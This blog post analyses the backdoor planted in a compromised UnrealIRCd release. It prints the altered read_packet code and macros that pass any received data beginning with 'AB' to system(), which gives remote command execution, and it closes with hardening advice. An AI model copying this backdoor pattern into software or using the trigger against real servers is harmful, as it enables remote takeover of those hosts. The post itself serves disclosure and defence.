Shifting yourself to space

June 12, 2010

On Unreal’s 3.1.2.8 backdoor

Filed under: backdoor,bugs,stupidity,unreal — shift32 @ 10:56 pm

It seems that the coders at Unreal IRCd weren’t so careful when they released their IRCd, someone probably managed to own their servers, and since nobody ever wanted to sign the .tar.gz (or at least check the md5), their edition got backdoor’ed by a pretty simple backdoor.

The advisory was published here and according to Unreal, it exist since Nov 09, *shriek* that’s a lot of time not to notice a backdoor :\

The backdoor resides in src/s_bsd.c and is quite easy to spot if you look carefully enough,

1408 static int read_packet(aClient *cptr, fd_set *rfd)
1409 {
1410         int  dolen = 0, length = 0, done;
1411         time_t now = TStime();
1412         if (FD_ISSET(cptr->fd, rfd) &&
1413             !(IsPerson(cptr) && DBufLength(&cptr->recvQ) > 6090))
1414         {
1415                 Hook *h;
1416                 SET_ERRNO(0);
1417 #ifdef USE_SSL
1418                 if (cptr->flags & FLAGS_SSL)
1419                         length = ircd_SSL_read(cptr, readbuf, sizeof(readbuf));
1420                 else
1421 #endif
1422                         length = recv(cptr->fd, readbuf, sizeof(readbuf), 0);
1423                 cptr->lasttime = now;
1424                 if (cptr->lasttime > cptr->since)
1425                         cptr->since = cptr->lasttime;
1426                 cptr->flags &= ~(FLAGS_PINGSENT | FLAGS_NONL);
1427                 /*
1428                  * If not ready, fake it so it isnt closed
1429                  */
1430                 if (length < 0 && ERRNO == P_EWOULDBLOCK)
1431                     return 1;
1432                 if (length <= 0)
1433                         return length;
1434 #ifdef DEBUGMODE3
1435         if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
1436             DEBUG3_LOG(readbuf);
1437 #endif

It resides in the read_packet method which accepts a client and a set of FD’s which are irrelevant for us.
Lines 1412 to 1426 just get the packet (wether we’re using SSL or plain-text), set the timestamp etc, but the really interesting part goes on on line 1434

1434 #ifdef DEBUGMODE3
1435         if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
1436             DEBUG3_LOG(readbuf);
1437 #endif

DEBUGMODE3 is always defined and has some archaic value just to make the line get compiled,

#define DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)

Afterwards we compare the magic value of DEBUGMODE3_INFO (“AB”) to see if it exists in our recv’ed text, if so – we execute the evil macro of DEBUG3_LOG

518 #ifdef DEBUGMODE3
 519 #define DEBUGMODE3_INFO "AB"
 520 #define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
 521 #endif
...
...
1382 #define DEBUG3_DOLOG_SYSTEM(x) system(x)

DEBUG3_DOLOG_SYSTEM calls good old system(const char *command); which is defined in libc/stdlib.h and there you have it, full control over the IRCd and current running user.

Now, assuming that this backdoor has existed for over 8 months, how many servers have been compromised ?
Who knows….The next stage is to automate it w/ Tor

The smart stage to act was to isolate the user running the IRCd and also add some grsec or use AppArmor policies on it, this is quite classical philosophy that UNIX gives to all people.
As I’m no elite-sysadmin I won’t give any further advices on how-to.

Blog at WordPress.com.